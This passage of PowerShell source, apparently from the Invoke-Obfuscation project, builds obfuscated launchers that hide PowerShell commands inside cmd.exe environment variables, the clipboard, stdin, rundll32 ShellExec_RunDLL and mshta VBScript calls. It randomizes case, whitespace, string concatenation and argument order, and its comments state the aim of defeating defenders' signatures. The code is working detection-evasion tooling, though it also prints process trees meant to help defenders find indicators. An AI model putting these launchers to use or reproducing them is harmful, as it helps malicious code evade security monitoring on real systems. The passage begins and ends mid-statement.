2) + "%$VariableName2%" + $CmdSyntax = $SlashC + ' '*(Get-Random -Minimum 0 -Maximum 4) + '"' + $SetSyntax + ' '*(Get-Random -Minimum 0 -Maximum 3)+ $ScriptString + ' '*(Get-Random -Minimum 0 -Maximum 3) + '&&' + ' '*(Get-Random -Minimum 0 -Maximum 3) + $SetSyntax2 + $Echo + ' '*(Get-Random -Minimum 1 -Maximum 3) + $InvokeOption + ' '*(Get-Random -Minimum 0 -Maximum 3) + '^|' + ' '*(Get-Random -Minimum 0 -Maximum 3) + $PathToPowerShell + $PSCmdSyntax + '&&' + ' '*(Get-Random -Minimum 0 -Maximum 3) + $PathToCmd + $CmdSyntax2 + '"' + + # Set argument info for process tree output after this Switch block. + $ArgsDefenderWillSee += , @($PathToCmd , $CmdSyntax) + $ArgsDefenderWillSee += , @($PathToCmd , $CmdSyntax2) + $ArgsDefenderWillSee += , @($PathToPowerShell, $PSCmdSyntax.Replace('^','')) + + $CmdLineOutput = $PathToCmd + $CmdSyntax + } + 10 { + ############ + ## CLIP++ ## + ############ + + # Switch cmd.exe escape with powershell.exe escape of double-quote. + If($ScriptString.Contains('\"')) {$ScriptString = $ScriptString.Replace('\"','"')} + + # Choose random syntax for invoking powershell.exe's StdIn. + $PowerShellClip = Out-RandomClipboardInvokeSyntax + + # Since we're embedding $PowerShellClip syntax one more process deep we need to double-escape & < > and | characters for cmd.exe. + ForEach($Char in @('<','>','|','&')) + { + # Remove single escaping and then escape all characters. This will handle single-escaped and not-escaped characters. + If($PowerShellClip.Contains("^$Char")) + { + $PowerShellClip = $PowerShellClip.Replace("^$Char","^^^$Char") + } + } + + # If this launcher is run in PowerShell 2.0 then Single-Threaded Apartment must be specified with -st or -sta. + # Otherwise you will get the following error: "Current thread must be set to single thread apartment (STA) mode before OLE calls can be made." + # Since Invoke-Obfuscation output is designed to run on any PowerShell version then for this launcher we will add the -st/-sta flag to $PowerShellFlags. + + # If selected then the -Command flag needs to remain last (where it currently is). + $CommandFlagValue = $NULL + If($PSBoundParameters['Command'] -OR $Command) + { + $UpperLimit = $PowerShellFlagsArray.Count-1 + $CommandFlagValue = $PowerShellFlagsArray[$PowerShellFlagsArray.Count-1] + } + Else + { + $UpperLimit = $PowerShellFlagsArray.Count + } + + # Re-extract PowerShellFlags so we can add in -st/-sta and then reorder (maintaining command flag at the end if present). + $PowerShellFlags = @() + For($i=0; $i -lt $UpperLimit; $i++) + { + $PowerShellFlags += $PowerShellFlagsArray[$i] + } + + # Add in -st/-sta to PowerShellFlags. + $PowerShellFlags += (Get-Random -Input @('-st','-sta')) + + # Randomize the order of the command-line arguments. + # This is to prevent the Blue Team from placing false hope in simple signatures for consistent ordering of these arguments. + If($PowerShellFlags.Count -gt 1) + { + $PowerShellFlags = Get-Random -InputObject $PowerShellFlags -Count $PowerShellFlags.Count + } + + # If selected then the -Command flag needs to be added last. + If($CommandFlagValue) + { + $PowerShellFlags += $CommandFlagValue + } + + # Randomize the case of all command-line arguments. + For($i=0; $i -lt $PowerShellFlags.Count; $i++) + { + $PowerShellFlags[$i] = ([Char[]]$PowerShellFlags[$i] | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + } + + # Insert random-length whitespace between all command-line arguments. + $PowerShellFlags = ($PowerShellFlags | ForEach-Object {$_ + ' '*(Get-Random -Minimum 1 -Maximum 3)}) -Join '' + $PowerShellFlags = ' '*(Get-Random -Minimum 1 -Maximum 3) + $PowerShellFlags + ' '*(Get-Random -Minimum 1 -Maximum 3) + + # Build out command line syntax in reverse so we can display the process argument tree at the end of this Switch block. + $PSCmdSyntax = $PowerShellFlags + $PowerShellClip + $CmdSyntax2 = $SlashC + ' '*(Get-Random -Minimum 0 -Maximum 4) + $PathToPowerShell + $PsCmdSyntax + $CmdSyntax = $SlashC + ' '*(Get-Random -Minimum 0 -Maximum 4) + '"' + ' '*(Get-Random -Minimum 0 -Maximum 3) + $Echo + (Get-Random -Input ('/','\',' '*(Get-Random -Minimum 1 -Maximum 3))) + $ScriptString + ' '*(Get-Random -Minimum 0 -Maximum 2) + '|' + ' '*(Get-Random -Minimum 0 -Maximum 2) + $PathToClip + ' '*(Get-Random -Minimum 0 -Maximum 2) + '&&' + $PathToCmd + $CmdSyntax2 + '"' + + # Set argument info for process tree output after this Switch block. + $ArgsDefenderWillSee += , @($PathToCmd , $CmdSyntax) + $ArgsDefenderWillSee += , @($PathToCmd , $CmdSyntax2) + $ArgsDefenderWillSee += , @($PathToPowerShell, $PSCmdSyntax.Replace('^','')) + + $CmdLineOutput = $PathToCmd + $CmdSyntax + } + 11 { + ############## + ## RUNDLL++ ## + ############## + + # Shout out and big thanks to Matt Graeber (@mattifestation) for pointing out this method of executing any binary directly from rundll32.exe. + + # Undo one layer of escaping from beginning of function since we're only dealing with one level of cmd.exe escaping in this block. + ForEach($Char in $CharsToEscape) + { + If($ScriptString.Contains("^^^$Char")) {$ScriptString = $ScriptString.Replace("^^^$Char","^$Char")} + } + If($ScriptString.Contains('^^^^')) + { + $ScriptString = $ScriptString.Replace('^^^^','^^') + } + + # Switch cmd.exe escape with powershell.exe escape of double-quote. + If($ScriptString.Contains('\"')) {$ScriptString = $ScriptString.Replace('\"','"')} + + # Choose random syntax for invoking command stored in process-level environment variable. + # Generate random variable names to store the $ScriptString command and PowerShell syntax. + $CharsForVarName = @('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z') + $VariableName = (Get-Random -Input $CharsForVarName -Count ($CharsForVarName.Count/(Get-Random -Input @(5..10)))) -Join '' + $VariableName = ([Char[]]$VariableName.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + + # Generate random case syntax for setting the above random variable names. + $SetSyntax = ([Char[]]'set' | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + $SetSyntax = $SetSyntax + ' '*(Get-Random -Minimum 2 -Maximum 4) + $VariableName + '=' + + # Randomize the case of the following variables. + $SetSyntax = ([Char[]]$SetSyntax.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + $VariableName = ([Char[]]$VariableName.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + + # Generate random syntax for invoking process-level environment variable syntax. + $InvokeOption = (Out-RandomInvokeRandomEnvironmentVariableSyntax $VariableName).Replace('\"',"'").Replace('`','') + + # Generate random case syntax for SHELL32.DLL argument for RunDll32.exe. + $Shell32Dll = ([Char[]]'SHELL32.DLL' | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + + # Put the execution flags in the format required by rundll32.exe: each argument separately encapusulated in double quotes. + $ExecutionFlagsRunDllSyntax = ($PowerShellFlagsArray | Where-Object {$_.Trim().Length -gt 0} | ForEach-Object {'"' + ' '*(Get-Random -Minimum 0 -Maximum 3) + $_ + ' '*(Get-Random -Minimum 0 -Maximum 3) + '"' + ' '*(Get-Random -Minimum 1 -Maximum 4)}) -Join '' + + # Build out command line syntax in reverse so we can display the process argument tree at the end of this Switch block. + $PSCmdSyntax = ' '*(Get-Random -Minimum 1 -Maximum 4) + $ExecutionFlagsRunDllSyntax + ' '*(Get-Random -Minimum 1 -Maximum 4) + "`"$InvokeOption`"" + $RundllCmdSyntax = ' '*(Get-Random -Minimum 1 -Maximum 4) + $Shell32Dll + (Get-Random -Input @(',',' ', ((Get-Random -Input @(',',',',',',' ',' ',' ') -Count (Get-Random -Input @(4..6)))-Join''))) + 'ShellExec_RunDLL' + ' '*(Get-Random -Minimum 1 -Maximum 4) + "`"$PathToPowerShell`"" + $PSCmdSyntax + $CmdSyntax = $SlashC + ' '*(Get-Random -Minimum 0 -Maximum 4) + '"' + $SetSyntax + $ScriptString + '&&' + $PathToRunDll + $RundllCmdSyntax + + # Set argument info for process tree output after this Switch block. + $ArgsDefenderWillSee += , @($PathToCmd , $CmdSyntax) + $ArgsDefenderWillSee += , @($PathToRunDll , $RundllCmdSyntax) + $ArgsDefenderWillSee += , @("`"$PathToPowerShell`"", $PSCmdSyntax.Replace('^','')) + + $CmdLineOutput = $PathToCmd + $CmdSyntax + } + 12 { + ############# + ## MSHTA++ ## + ############# + + # Undo one layer of escaping from beginning of function since we're only dealing with one level of cmd.exe escaping in this block. + ForEach($Char in $CharsToEscape) + { + If($ScriptString.Contains("^^^$Char")) {$ScriptString = $ScriptString.Replace("^^^$Char","^$Char")} + } + If($ScriptString.Contains('^^^^')) + { + $ScriptString = $ScriptString.Replace('^^^^','^^') + } + + # Switch cmd.exe escape with powershell.exe escape of double-quote. + If($ScriptString.Contains('\"')) {$ScriptString = $ScriptString.Replace('\"','"')} + + # Choose random syntax for invoking command stored in process-level environment variable. + # Generate random variable names to store the $ScriptString command and PowerShell syntax. + $CharsForVarName = @('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z') + $VariableName = (Get-Random -Input $CharsForVarName -Count ($CharsForVarName.Count/(Get-Random -Input @(5..10)))) -Join '' + $VariableName = ([Char[]]$VariableName.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + + # Generate random case syntax for setting the above random variable names. + $SetSyntax = ([Char[]]'set' | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + $SetSyntax = $SetSyntax + ' '*(Get-Random -Minimum 2 -Maximum 4) + $VariableName + '=' + + # Randomize the case of the following variables. + $SetSyntax = ([Char[]]$SetSyntax.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + $VariableName = ([Char[]]$VariableName.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + + # Generate random syntax for invoking process-level environment variable syntax. + # Keep calling Out-RandomInvokeRandomEnvironmentVariableSyntax until we get the shorter syntax (not using $ExecutionContext syntax) since mshta.exe has a short argument size limitation. + $InvokeOption = (Out-RandomInvokeRandomEnvironmentVariableSyntax $VariableName).Replace('\"',"'").Replace('`','') + While($InvokeOption.Length -gt 200) + { + $InvokeOption = (Out-RandomInvokeRandomEnvironmentVariableSyntax $VariableName).Replace('\"',"'").Replace('`','') + } + + # Generate randomize case syntax for all available command arguments for mshta.exe. + $CreateObject = ([Char[]]'VBScript:CreateObject' | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + $WScriptShell = ([Char[]]'WScript.Shell' | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + $Run = ([Char[]]'.Run' | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + $TrueString = ([Char[]]'True' | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + $WindowClose = ([Char[]]'Window.Close' | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + + # Randomly decide whether to concatenate WScript.Shell or just encapsulate it with double quotes. + If((Get-Random -Input @(0..1)) -eq 0) + { + $WScriptShell = Out-ConcatenatedString $WScriptShell '"' + } + Else + { + $WScriptShell = '"' + $WScriptShell + '"' + } + + # Randomly decide whether or not to concatenate PowerShell command. + If((Get-Random -Input @(0..1)) -eq 0) + { + # Concatenate $InvokeOption and unescape double quotes from the result. + $SubStringArray += (Out-ConcatenatedString $InvokeOption.Trim('"') '"').Replace('`"','"') + + # Remove concatenation introduced in above step if it concatenates immediately after a cmd.exe escape character. + If($InvokeOption.Contains('^"+"')) + { + $InvokeOption = $InvokeOption.Replace('^"+"','^') + } + } + + # Random choose between using the numeral 1 and using a random subtraction syntax that is equivalent to 1. + If((Get-Random -Input @(0..1)) -eq 0) + { + $One = 1 + } + Else + { + # Randomly select between two digit and three digit subtraction syntax. + $RandomNumber = Get-Random -Minimum 3 -Maximum 25 + If(Get-Random -Input @(0..1)) + { + $One = [String]$RandomNumber + '-' + ($RandomNumber-1) + } + Else + { + $SecondRandomNumber = Get-Random -Minimum 1 -Maximum $RandomNumber + $One = [String]$RandomNumber + '-' + $SecondRandomNumber + '-' + ($RandomNumber-$SecondRandomNumber-1) + } + + # Randomly decide to encapsulate with parentheses (not necessary). + If((Get-Random -Input @(0..1)) -eq 0) + { + $One = '(' + $One + ')' + } + } + + # Build out command line syntax in reverse so we can display the process argument tree at the end of this Switch block. + $PSCmdSyntax = $PowerShellFlags + ' '*(Get-Random -Minimum 0 -Maximum 3) + $InvokeOption + '",' + $One + ',' + $TrueString + ")($WindowClose)" + $MshtaCmdSyntax = ' '*(Get-Random -Minimum 1 -Maximum 4) + $CreateObject + "($WScriptShell)" + $Run + '("' + $PathToPowerShell + $PSCmdSyntax + '"' + $CmdSyntax = $SlashC + ' '*(Get-Random -Minimum 0 -Maximum 4) + '"' + $SetSyntax + $ScriptString + '&&' + $PathToMshta + $MshtaCmdSyntax + + # Set argument info for process tree output after this Switch block. + $ArgsDefenderWillSee += , @($PathToCmd , $CmdSyntax) + $ArgsDefenderWillSee += , @($PathToMshta , $MshtaCmdSyntax) + $ArgsDefenderWillSee += , @($PathToPowerShell, $PSCmdSyntax.Replace('^','')) + + $CmdLineOutput = $PathToCmd + $CmdSyntax + } + default {Write-Error "An invalid `$LaunchType value ($LaunchType) was passed to switch block for Out-PowerShellLauncher."; Exit;} + } + + # Output process tree output format of applied launcher to help the Blue Team find indicators and the Red Team to better avoid detection. + If($ArgsDefenderWillSee.Count -gt 0) + { + Write-Host "`n`nProcess Argument Tree of ObfuscatedCommand with current launcher:" + + $Counter = -1 + ForEach($Line in $ArgsDefenderWillSee) + { + If($Line.Count -gt 1) + { + $Part1 = $Line[0] + $Part2 = $Line[1] + } + Else + { + $Part1 = $Line + $Part2 = '' + } + + $LineSpacing = '' + If($Counter -ge 0) + { + $LineSpacing = ' '*$Counter + Write-Host "$LineSpacing|`n$LineSpacing\--> " -NoNewline + } + + # Print each command and argument, handling if the argument length is too long to display coherently. + Write-Host $Part1 -NoNewLine -ForegroundColor Yellow + + # Maximum size for cmd.exe and clipboard. + $CmdMaxLength = 8190 + + If($Part2.Length -gt $CmdMaxLength) + { + # Output Part2, handling if the size of Part2 exceeds $CmdMaxLength characters. + $RedactedPrintLength = $CmdMaxLength/5 + + # Handle printing redaction message in middle of screen. #OCD + $CmdLineWidth = (Get-Host).UI.RawUI.BufferSize.Width + $RedactionMessage = "" + $CenteredRedactionMessageStartIndex = (($CmdLineWidth-$RedactionMessage.Length)/2) - ($Part1.Length+$LineSpacing.Length) + $CurrentRedactionMessageStartIndex = ($RedactedPrintLength % $CmdLineWidth) + + If($CurrentRedactionMessageStartIndex -gt $CenteredRedactionMessageStartIndex) + { + $RedactedPrintLength = $RedactedPrintLength-($CurrentRedactionMessageStartIndex-$CenteredRedactionMessageStartIndex) + } + Else + { + $RedactedPrintLength = $RedactedPrintLength+($CenteredRedactionMessageStartIndex-$CurrentRedactionMessageStartIndex) + } + + Write-Host $Part2.SubString(0,$RedactedPrintLength) -NoNewLine -ForegroundColor Cyan + Write-Host $RedactionMessage -NoNewLine -ForegroundColor Magenta + Write-Host $Part2.SubString($Part2.Length-$RedactedPrintLength) -ForegroundColor Cyan + } + Else + { + Write-Host $Part2 -ForegroundColor Cyan + } + + $Counter++ + } + Start-Sleep 1 + } + + # Make sure final command doesn't exceed cmd.exe's character limit. + # Only apply this check to LaunchType values less than 13 since all the other launchers are not command line launchers. + $CmdMaxLength = 8190 + If(($CmdLineOutput.Length -gt $CmdMaxLength) -AND ($LaunchType -lt 13)) + { + Write-Host "" + Write-Warning "This command exceeds the cmd.exe maximum allowed length of $CmdMaxLength characters! Its length is $($CmdLineOutput.Length) characters." + Start-Sleep 1 + } + + Return $CmdLineOutput +} + + +Function Out-RandomInvokeRandomEnvironmentVariableSyntax +{ +<# +.SYNOPSIS + +HELPER FUNCTION :: Generates randomized syntax for invoking a process-level environment variable. + +Invoke-Obfuscation Function: Out-RandomInvokeRandomEnvironmentVariableSyntax +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: Out-ObfuscatedTokenCommand, Out-EncapsulatedInvokeExpression (found in Out-ObfuscatedStringCommand.ps1) +Optional Dependencies: None + +.DESCRIPTION + +Out-RandomInvokeRandomEnvironmentVariableSyntax generates random invoke syntax and random process-level environment variable retrieval syntax for invoking command contents that are stored in a user-input process-level environment variable. This function is primarily used as a helper function for Out-PowerShellLauncher. + +.PARAMETER EnvVarName + +User input string or array of strings containing environment variable names to randomly select and apply invoke syntax. + +.EXAMPLE + +C:\PS> Out-RandomInvokeRandomEnvironmentVariableSyntax 'varname' + +.(\"In\" +\"v\" + \"o\"+ \"Ke-ExpRes\"+ \"sION\" ) (^&( \"GC\" +\"i\" ) eNV:vaRNAMe ).\"V`ALue\" + +.NOTES + +This cmdlet is a helper function for Out-PowerShellLauncher's more sophisticated $LaunchType options where the PowerShell command is set in process-level environment variables for command line obfuscation benefits. +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + [CmdletBinding()] Param ( + [Parameter(Position = 0)] + [ValidateNotNullOrEmpty()] + [String[]] + $EnvVarName + ) + + # Retrieve random variable from variable name array passed in as argument. + $EnvVarName = Get-Random -Input $EnvVarName + + # Generate numerous ways to invoke with $ExecutionContext as a variable, including Get-Variable varname, Get-ChildItem Variable:varname, Get-Item Variable:varname, etc. + $ExecContextVariables = @() + $ExecContextVariables += '(' + (Get-Random -Input @('DIR','Get-ChildItem','GCI','ChildItem','LS','Get-Item','GI','Item')) + ' ' + "'variable:" + (Get-Random -Input @('ex*xt','ExecutionContext')) + "').Value" + $ExecContextVariables += '(' + (Get-Random -Input @('Get-Variable','GV','Variable')) + ' ' + "'" + (Get-Random -Input @('ex*xt','ExecutionContext')) + "'" + (Get-Random -Input (').Value',(' ' + ('-ValueOnly'.SubString(0,(Get-Random -Minimum 3 -Maximum ('-ValueOnly'.Length+1)))) + ')'))) + + # Select random option from above. + $ExecContextVariable = Get-Random -Input $ExecContextVariables + + # Generate numerous ways to invoke command stored in environment variable. + $GetRandomVariableSyntax = @() + $GetRandomVariableSyntax += '(' + (Get-Random -Input @('DIR','Get-ChildItem','GCI','ChildItem','LS','Get-Item','GI','Item')) + ' ' + 'env:' + $EnvVarName + ').Value' + $GetRandomVariableSyntax += ('(' + '[Environment]::GetEnvironmentVariable(' + "'$EnvVarName'" + ',' + "'Process'" + ')' + ')') + + # Select random option from above. + $GetRandomVariableSyntax = Get-Random -Input $GetRandomVariableSyntax + + # Generate random invoke operation syntax. + # 50% split between using $ExecutionContext invocation syntax versus IEX/Invoke-Expression/variable-obfuscated-'iex' syntax generated by Out-EncapsulatedInvokeExpression. + $ExpressionToInvoke = $GetRandomVariableSyntax + If(Get-Random -Input @(0..1)) + { + # Randomly decide on invoke operation since we've applied an additional layer of string manipulation in above steps. + $InvokeOption = Out-EncapsulatedInvokeExpression $ExpressionToInvoke + } + Else + { + $InvokeOption = (Get-Random -Input @('$ExecutionContext','${ExecutionContext}',$ExecContextVariable)) + '.InvokeCommand.InvokeScript(' + ' '*(Get-Random -Minimum 0 -Maximum 3) + $ExpressionToInvoke + ' '*(Get-Random -Minimum 0 -Maximum 3) + ')' + } + + # Random case of $InvokeOption. + $InvokeOption = ([Char[]]$InvokeOption.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + + # Run random invoke operation through the appropriate token obfuscators if $PowerShellStdIn is not simply a value of - from above random options. + If($InvokeOption -ne '-') + { + # Run through all available token obfuscation functions in random order. + $InvokeOption = Out-ObfuscatedTokenCommand -ScriptBlock ([ScriptBlock]::Create($InvokeOption)) + $InvokeOption = Out-ObfuscatedTokenCommand -ScriptBlock ([ScriptBlock]::Create($InvokeOption)) 'RandomWhitespace' 1 + } + + # For obfuscated commands generated for $InvokeOption syntax, single-escape & < > and | characters for cmd.exe. + ForEach($Char in @('<','>','|','&')) + { + # Remove single escaping and then escape all characters. This will handle single-escaped and not-escaped characters. + If($InvokeOption.Contains("$Char")) + { + $InvokeOption = $InvokeOption.Replace("$Char","^$Char") + } + } + + # Escape double-quote with backslash for powershell.exe. + If($InvokeOption.Contains('"')) + { + $InvokeOption = $InvokeOption.Replace('"','\"') + } + + Return $InvokeOption +} + + +Function Out-RandomPowerShellStdInInvokeSyntax +{ +<# +.SYNOPSIS + +HELPER FUNCTION :: Generates randomized PowerShell syntax for invoking a command passed to powershell.exe via standard input. + +Invoke-Obfuscation Function: Out-RandomPowerShellStdInInvokeSyntax +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: Out-ObfuscatedTokenCommand, Out-EncapsulatedInvokeExpression (found in Out-ObfuscatedStringCommand.ps1) +Optional Dependencies: None + +.DESCRIPTION + +Out-RandomPowerShellStdInInvokeSyntax generates random PowerShell syntax for invoking a command passed to powershell.exe via standard input. This technique is included to show the Blue Team that powershell.exe's command line arguments may not contain any contents of the command itself, but these could be stored in the parent process if passed to powershell.exe via standard input. + +.EXAMPLE + +C:\PS> Out-RandomPowerShellStdInInvokeSyntax + +( ^& ('v'+( 'aR'+ 'Iabl' ) + 'E' ) ('exE'+'CUTiOnco' +'n'+ 'TeX' + 't' ) -Val).\"INvOKec`oMm`A`ND\".\"invO`K`es`CRiPt\"(${I`N`puT} ) + +.NOTES + +This cmdlet is a helper function for Out-PowerShellLauncher's more sophisticated $LaunchType options where the PowerShell command is passed to powershell.exe via standard input for command line obfuscation benefits. +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + # Build out random PowerShell stdin syntax like: + # | powershell - <-- default to this if $NoExit flag is defined because this will cause an error for the other options + # | powershell IEX $Input + # | powershell $ExecutionContext.InvokeCommand.InvokeScript($Input) + # Also including numerous ways to invoke with $ExecutionContext as a variable, including Get-Variable varname, Get-ChildItem Variable:varname, Get-Item Variable:varname, etc. + $ExecContextVariables = @() + $ExecContextVariables += '(' + (Get-Random -Input @('DIR','Get-ChildItem','GCI','ChildItem','LS','Get-Item','GI','Item')) + ' ' + "'variable:" + (Get-Random -Input @('ex*xt','ExecutionContext')) + "').Value" + $ExecContextVariables += '(' + (Get-Random -Input @('Get-Variable','GV','Variable')) + ' ' + "'" + (Get-Random -Input @('ex*xt','ExecutionContext')) + "'" + (Get-Random -Input (').Value',(' ' + ('-ValueOnly'.SubString(0,(Get-Random -Minimum 3 -Maximum ('-ValueOnly'.Length+1)))) + ')'))) + # Select random option from above. + $ExecContextVariable = (Get-Random -Input $ExecContextVariables) + + $RandomInputVariable = (Get-Random -Input @('$Input','${Input}')) + + # Generate random invoke operation syntax. + # 50% split between using $ExecutionContext invocation syntax versus IEX/Invoke-Expression/variable-obfuscated-'iex' syntax generated by Out-EncapsulatedInvokeExpression. + $ExpressionToInvoke = $RandomInputVariable + If(Get-Random -Input @(0..1)) + { + # Randomly decide on invoke operation since we've applied an additional layer of string manipulation in above steps. + $InvokeOption = Out-EncapsulatedInvokeExpression $ExpressionToInvoke + } + Else + { + $InvokeOption = (Get-Random -Input @('$ExecutionContext','${ExecutionContext}',$ExecContextVariable)) + '.InvokeCommand.InvokeScript(' + ' '*(Get-Random -Minimum 0 -Maximum 3) + $ExpressionToInvoke + ' '*(Get-Random -Minimum 0 -Maximum 3) + ')' + } + + # Random case of $InvokeOption. + $InvokeOption = ([Char[]]$InvokeOption.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + + # If $NoExit flag is defined in calling function then default to - stdin syntax. It will cause errors for other syntax options. + If($NoExit) + { + $InvokeOption = '-' + } + + # Set $PowerShellStdIn to value of $InvokeOption. + $PowerShellStdIn = $InvokeOption + + # Random case of $PowerShellStdIn. + $PowerShellStdIn = ([Char[]]$PowerShellStdIn.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + + # Run random PowerShell Stdin operation through the appropriate token obfuscators. + If($PowerShellStdIn -ne '-') + { + # Run through all available token obfuscation functions in random order. + $InvokeOption = Out-ObfuscatedTokenCommand -ScriptBlock ([ScriptBlock]::Create($InvokeOption)) + $InvokeOption = Out-ObfuscatedTokenCommand -ScriptBlock ([ScriptBlock]::Create($InvokeOption)) 'RandomWhitespace' 1 + } + + # For obfuscated commands generated for $PowerShellStdIn syntax, single-escape & < > and | characters for cmd.exe. + ForEach($Char in @('<','>','|','&')) + { + # Remove single escaping and then escape all characters. This will handle single-escaped and not-escaped characters. + If($PowerShellStdIn.Contains("$Char")) + { + $PowerShellStdIn = $PowerShellStdIn.Replace("$Char","^$Char") + } + } + + # Escape double-quote with backslash for powershell.exe. + If($PowerShellStdIn.Contains('"')) + { + $PowerShellStdIn = $PowerShellStdIn.Replace('"','\"') + } + + Return $PowerShellStdIn +} + + +Function Out-RandomClipboardInvokeSyntax +{ +<# +.SYNOPSIS + +HELPER FUNCTION :: Generates randomized PowerShell syntax for invoking a command stored in the clipboard. + +Invoke-Obfuscation Function: Out-RandomClipboardInvokeSyntax +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: Out-ObfuscatedTokenCommand, Out-EncapsulatedInvokeExpression (found in Out-ObfuscatedStringCommand.ps1) +Optional Dependencies: None + +.DESCRIPTION + +Out-RandomClipboardInvokeSyntax generates random PowerShell syntax for invoking a command stored in the clipboard. This technique is included to show the Blue Team that powershell.exe's command line arguments may not contain any contents of the command itself, but these could be stored in the parent/grandparent process if passed to powershell.exe via clipboard. + +.EXAMPLE + +C:\PS> Out-RandomClipboardInvokeSyntax + +. ( \"{0}{1}\" -f( \"{1}{0}\"-f 'p','Add-Ty' ),'e' ) -AssemblyName ( \"{1}{0}{3}{2}\"-f ( \"{2}{0}{3}{1}\"-f'Wi','dows.Fo','em.','n'),(\"{1}{0}\"-f 'yst','S'),'s','rm' ) ; (.( \"{0}\" -f'GV' ) (\"{2}{3}{1}{0}{4}\" -f 'E','onCoNT','EXEC','UTi','XT')).\"Va`LuE\".\"inVOK`Ec`OMmANd\".\"inVOKe`SC`RIpT\"(( [sYsTEM.WInDOwS.foRMS.ClIPbOard]::( \"{1}{0}\"-f (\"{2}{1}{0}\" -f'XT','tTE','e'),'g').Invoke( ) ) ) ;[System.Windows.Forms.Clipboard]::( \"{1}{0}\"-f'ar','Cle' ).Invoke( ) + +.NOTES + +This cmdlet is a helper function for Out-PowerShellLauncher's more sophisticated $LaunchType options where the PowerShell command is passed to powershell.exe via clipboard for command line obfuscation benefits. +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + # Set variables necessary for loading appropriate class/type to be able to interact with the clipboard. + $ReflectionAssembly = Get-Random -Input @('System.Reflection.Assembly','Reflection.Assembly') + $WindowsClipboard = Get-Random -Input @('Windows.Clipboard','System.Windows.Clipboard') + $WindowsFormsClipboard = Get-Random -Input @('System.Windows.Forms.Clipboard','Windows.Forms.Clipboard') + + # Randomly select flag argument substring for Add-Type -AssemblyCore. + $FullArgument = "-AssemblyName" + # Take into account the shorted flag of -AN as well. + $AssemblyNameFlags = @() + $AssemblyNameFlags += '-AN' + For($Index=2; $Index -le $FullArgument.Length; $Index++) + { + $AssemblyNameFlags += $FullArgument.SubString(0,$Index) + } + $AssemblyNameFlag = Get-Random -Input $AssemblyNameFlags + + # Characters we will use to generate random variable name. + # For simplicity do NOT include single- or double-quotes in this array. + $CharsToRandomVarName = @(0..9) + $CharsToRandomVarName += @('A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z') + + # Randomly choose variable name starting length. + $RandomVarLength = (Get-Random -Input @(3..6)) + + # Create random variable with characters from $CharsToRandomVarName. + If($CharsToRandomVarName.Count -lt $RandomVarLength) {$RandomVarLength = $CharsToRandomVarName.Count} + $RandomVarName = ((Get-Random -Input $CharsToRandomVarName -Count $RandomVarLength) -Join '').Replace(' ','') + + # Generate random variable name. + $RandomVarName = ((Get-Random -Input $CharsToRandomVarName -Count $RandomVarLength) -Join '').Replace(' ','') + + # Generate paired random syntax options for: A) loading necessary class/assembly, B) retrieving contents from clipboard, and C) clearing/overwritting clipboard contents. + $RandomClipSyntaxValue = Get-Random -Input @(1..3) + Switch($RandomClipSyntaxValue) + { + 1 { + $LoadClipboardClassOption = "Add-Type $AssemblyNameFlag PresentationCore" + $GetClipboardContentsOption = "([$WindowsClipboard]::GetText())" + $ClearClipboardOption = "[$WindowsClipboard]::" + (Get-Random -Input @('Clear()',"SetText(' ')")) + } + 2 { + $LoadClipboardClassOption = "Add-Type $AssemblyNameFlag System.Windows.Forms" + $GetClipboardContentsOption = "([$WindowsFormsClipboard]::GetText())" + $ClearClipboardOption = "[$WindowsFormsClipboard]::" + (Get-Random -Input @('Clear()',"SetText(' ')")) + } + 3 { + $LoadClipboardClassOption = (Get-Random -Input 